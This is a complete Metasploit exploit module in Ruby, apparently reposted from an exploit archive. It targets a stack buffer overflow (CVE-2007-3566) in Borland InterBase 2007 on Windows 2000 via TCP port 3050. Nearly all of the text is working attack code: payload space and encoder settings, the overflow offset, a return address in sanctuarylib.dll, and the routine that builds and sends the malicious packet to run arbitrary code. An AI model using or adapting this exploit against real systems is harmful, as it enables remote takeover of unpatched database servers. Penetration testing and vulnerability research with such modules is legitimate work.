Borland Interbase – ‘Create-Request’ Remote Buffer Overflow (Metasploit)
## # $Id: borland_interbase.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Borland Interbase Create-Request Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Borland Interbase 2007. By sending a specially crafted create-request packet, a remote attacker may be able to execute arbitrary code. }, 'Author' => 'MC', 'Version' => '$Revision: 9525 $', 'References' => [ [ 'CVE', '2007-3566' ], [ 'OSVDB', '38602' ], [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 850, 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 English All / Borland InterBase 2007', { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 24 2007')) register_options([Opt::RPORT(3050)], self.class) end def exploit connect # Build the exploit buffer.... It's a biggie! sploit = "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset']) sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000) print_status("Trying target #{target.name}...") sock.put(sploit) handler disconnect end end |